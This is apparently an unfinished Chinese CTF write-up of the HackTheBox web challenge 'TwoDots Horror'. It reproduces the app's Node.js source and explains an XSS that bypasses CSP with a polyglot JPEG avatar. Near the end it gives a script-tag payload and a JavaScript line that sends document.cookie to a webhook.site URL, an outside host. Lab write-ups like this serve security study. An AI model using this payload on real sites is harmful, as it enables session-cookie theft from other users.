title: HTB-TwoDots_Horror
date: 2023-12-15 20:23:43
categories: HTB
tags: WEB
TwoDots Horror(未完成)
白盒测试
这个代码是node.js写的我们首先查看这个dockerfile发现并没有flag信息
审计一下这些js代码
index.js
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
const path = require('path');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const nunjucks = require('nunjucks');
const routes = require('./routes');
const Database = require('./database');
const db = new Database('TwoDots-Horror.db');
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(cookieParser());
app.use(fileUpload({ limits: {
fileSize: 2 * 1024 * 1024 // 2 MB
},
abortOnLimit: true
}));
app.use(function(req, res, next) {
res.setHeader("Content-Security-Policy", "default-src 'self'; object-src 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com;")
next();
});
nunjucks.configure('views', {
autoescape: true,
express: app
});
app.set('views', './views');
app.use('/static', express.static(path.resolve('static')));
app.use(routes(db));
app.all('*', (req, res) => {
return res.status(404).send({
message: '404 page not found'
});
});
(async () => {
await db.connect();
await db.migrate();
app.listen(1337, '0.0.0.0', () => console.log('Listening on port 1337'));
})();
database.js
const sqlite = require('sqlite-async');
class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}
async connect() {
this.db = await sqlite.open(this.db_file);
}
async migrate() {
return this.db.exec(`
DROP TABLE IF EXISTS users;
CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL,
avatar VARCHAR(255) NOT NULL
);
DROP TABLE IF EXISTS posts;
CREATE TABLE IF NOT EXISTS posts (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
author VARCHAR(255) NOT NULL,
content VARCHAR(255) NOT NULL,
approved INTEGER NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
INSERT INTO posts (author, approved, content) VALUES ('ColonelAengus', 1, 'Our baby girl is finally crawling for the first time. I just wish it wasn’t on the ceiling.');
INSERT INTO posts (author, approved, content) VALUES ('windowsXP', 1, 'Keyboard not responding. Press any key to continue.');
INSERT INTO posts (author, approved, content) VALUES ('unkn0wn', 1, 'There was a picture in my phone of me sleeping. I live alone.');
INSERT INTO posts (author, approved, content) VALUES ('Scry67', 1, 'The last man on Earth sat alone in a room. There was a knock at the door.');
INSERT INTO posts (author, approved, content) VALUES ('fluffyponyza', 1, 'Day 312. Internet still not working.');
`);
}
async registerUser(user, pass) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('INSERT INTO users (username, password, avatar) VALUES ( ?, ?, "default.jpg")');
resolve((await stmt.run(user, pass)));
} catch(e) {
reject(e);
}
});
}
async loginUser(user, pass) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
resolve(await stmt.get(user, pass));
} catch(e) {
reject(e);
}
});
}
async getUser(user) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT * FROM users WHERE username = ?');
resolve(await stmt.get(user));
} catch(e) {
reject(e);
}
});
}
async checkUser(user) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT username FROM users WHERE username = ?');
let row = await stmt.get(user);
resolve(row !== undefined);
} catch(e) {
reject(e);
}
});
}
async updateAvatar(user, avatar) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('UPDATE users SET avatar = ? WHERE username = ?');
resolve(await stmt.run(avatar, user));
} catch(e) {
reject(e);
}
});
}
async addPost(author, content) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('INSERT INTO posts (author, content, approved) VALUES (? , ?, 0)');
resolve(await stmt.run(author, content));
} catch(e) {
reject(e);
}
});
}
async getPosts(approved=1) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT * FROM posts WHERE approved = ?');
resolve(await stmt.all(approved));
} catch(e) {
reject(e);
}
});
}
}
module.exports = Database;
这个数据库语法使用了预处理无法造成常规sql注入
bot.js
const puppeteer = require('puppeteer');
const browser_options = {
headless: true,
args: [
'--no-sandbox',
'--disable-background-networking',
'--disable-default-apps',
'--disable-extensions',
'--disable-gpu',
'--disable-sync',
'--disable-translate',
'--hide-scrollbars',
'--metrics-recording-only',
'--mute-audio',
'--no-first-run',
'--safebrowsing-disable-auto-update'
]
};
const cookies = [{
'name': 'flag',
'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}'
}];
async function purgeData(db){
const browser = await puppeteer.launch(browser_options);
const page = await browser.newPage();
await page.goto('http://127.0.0.1:1337/');
await page.setCookie(...cookies);
await page.goto('http://127.0.0.1:1337/review', {
waitUntil: 'networkidle2'
});
await browser.close();
await db.migrate();
};
module.exports = { purgeData };
这里存在了flag放进了cookies
routes/index.js
const fs = require('fs');
const bot = require('../bot');
const path = require('path');
const express = require('express');
const router = express.Router();
const JWTHelper = require('../helpers/JWTHelper');
const UploadHelper = require('../helpers/UploadHelper')
const AuthMiddleware = require('../middleware/AuthMiddleware');
let db;
const response = data => ({ message: data });
router.get('/', (req, res) => {
return res.render('index.html');
});
router.post('/api/register', async (req, res) => {
const { username, password } = req.body;
if (username && password) {
return db.checkUser(username)
.then(user => {
if (user) return res.status(401).send(response('User already registered!'));
return db.registerUser(username, password)
.then(() => res.send(response('User registered successfully!')))
})
.catch(() => res.send(response('Something went wrong!')));
}
return res.status(401).send(response('Please fill out all the required fields!'));
});
router.post('/api/login', async (req, res) => {
const { username, password } = req.body;
if (username && password) {
return db.loginUser(username, password)
.then(user => {
let token = JWTHelper.sign({ username: user.username });
res.cookie('session', token, { maxAge: 3600000 });
return res.send(response('User authenticated successfully!'));
})
.catch(() => res.status(403).send(response('Invalid username or password!')));
}
return res.status(500).send(response('Missing parameters!'));
});
router.get('/feed', AuthMiddleware, async (req, res, next) => {
return db.getUser(req.data.username)
.then(user => {
if(user === undefined) return res.redirect('/');
return db.getPosts()
.then(feed => {
res.render('feed.html', { feed });
})
})
.catch(() => res.status(500).send(response('Something went wrong!')));
});
router.get('/profile', AuthMiddleware, async (req, res, next) => {
return db.getUser(req.data.username)
.then(user => {
if(user === undefined) return res.redirect('/');
res.render('profile.html', { user });
})
.catch(() => res.status(500).send(response('Something went wrong!')));
});
router.get('/review', async (req, res, next) => {
if(req.ip != '127.0.0.1') return res.redirect('/');
return db.getPosts(0)
.then(feed => {
res.render('review.html', { feed });
})
.catch(() => res.status(500).send(response('Something went wrong!')));
});
router.post('/api/submit', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(user => {
if (user === undefined) return res.redirect('/');
const { content } = req.body;
if(content){
twoDots = content.match(/\./g);
if(twoDots == null || twoDots.length != 2){
return res.status(403).send(response('Your story must contain two sentences! We call it TwoDots Horror!'));
}
return db.addPost(user.username, content)
.then(() => {
bot.purgeData(db);
res.send(response('Your submission is awaiting approval by Admin!'));
});
}
return res.status(403).send(response('Please write your story first!'));
})
.catch(() => res.status(500).send(response('Something went wrong!')));
});
router.post('/api/upload', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(user => {
if (user === undefined) return res.redirect('/');
if (!req.files) return res.status(400).send(response('No files were uploaded.'));
return UploadHelper.uploadImage(req.files.avatarFile)
.then(filename => {
return db.updateAvatar(user.username,filename)
.then(() => {
res.send(response('Image uploaded successfully!'));
if(user.avatar != 'default.jpg')
fs.unlinkSync(path.join(__dirname, '/../uploads',user.avatar)); // remove old avatar
})
})
})
.catch(err => res.status(500).send(response(err.message)));
});
router.get('/api/avatar/:username', async (req, res) => {
return db.getUser(req.params.username)
.then(user => {
if (user === undefined) return res.status(404).send(response('user does not exist!'));
avatar = path.join(__dirname, '/../uploads', user.avatar);
return res.sendFile(avatar);
})
.catch(() => res.status(500).send(response('Something went wrong!')));
});
router.get('/logout', (req, res) => {
res.clearCookie('session');
return res.redirect('/');
});
module.exports = database => {
db = database;
return router;
};
这个是记录路由的地方
并且上面还引用了我们需要的
const bot = require('../bot');
在代码93行调用了
bot.purgeData(db);
现在我们就是要利用
router.get('/api/avatar/:username', async (req, res) => {
return db.getUser(req.params.username)
.then(user => {
if (user === undefined) return
加上前端代码的
</p>
<p>{{ post.content|safe }}</p>
</div>
来达到获取cookie但是因为这个blog利用了csp
Content-Security-Policy: "default-src 'self'; object-src 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com;"
然后
if(twoDots == null || twoDots.length != 2){
return res.status(403).send(response('Your story must contain two sentences! We call it TwoDots Horror!'));
}
要求你必须要写两个段落也就是两个点
<script src="/api/avatar/test"></script>1.1.
写成这样就可以了
在利用upload来上传我们需要的payload
参考链接
https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs
这里接收cookie的用的是webhook
*/=document.location.href="https://webhook.site/72ad2f9e-7a81-4b01-d3ed-8290387f7d0b?"+document.cookie;/*
内容加进图片并且要不小于120x120
这里我使用的软件是
img_polygloter.py
然后不知道为什么我就得不到cookie